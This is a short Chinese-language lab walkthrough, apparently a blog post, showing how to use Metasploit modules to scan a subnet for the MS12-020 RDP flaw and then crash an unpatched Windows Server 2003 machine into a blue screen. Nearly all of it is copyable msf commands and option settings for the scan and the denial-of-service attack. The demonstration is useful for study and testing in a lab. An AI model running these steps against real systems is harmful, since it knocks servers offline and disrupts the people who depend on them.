利用漏洞:MS12-020
官方介绍:http://technet.microsoft.com/en-us/security/bulletin/ms12-020
所需环境:
靶机:Windows Server 2003 SP1未打任何补丁——IP地址:192.168.1.11
攻击机:Windows 10+Metasploit
演示过程:
msf > search ms12_020
搜索结果:
auxiliary/dos/windows/rdp/ms12_020_maxchannelids——进行攻击
auxiliary/scanner/rdp/ms12_020_check——进行扫描
![6631640611257388192.png 6631640611257388192.png](https://i-blog.csdnimg.cn/blog_migrate/4d02e1782d2e6fb6d72c9c2606f693b1.png)
【扫描】
1.加载模块
use auxiliary/scanner/rdp/ms12_020_check
2.列出选项
show options
3.设置参数
set RHOSTS 192.168.1.1/24 [扫描IP段范围]
set THREADS 10 [扫描线程]
4.执行
exploit
![6631528461071352814.png 6631528461071352814.png](https://i-blog.csdnimg.cn/blog_migrate/043a9717e3a61aee169e9346df7a1cc2.png)
【蓝屏攻击】
1.加载攻击模块
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
2.列出选项:
show options
RHOST 目标主机:可以放入上面扫描到的192.168.1.11
RPORT 端口默认3389
3.设置参数
set RHOST 192.168.1.11
4.攻击
exploit
![6631571342024835277.png 6631571342024835277.png](https://i-blog.csdnimg.cn/blog_migrate/381ad7c086b2cbb47578b9ee0e4f7205.png)
效果:
![6631557048373674560.png 6631557048373674560.png](https://i-blog.csdnimg.cn/blog_migrate/8f6ae62cacefca7c0ccae15787614a34.png)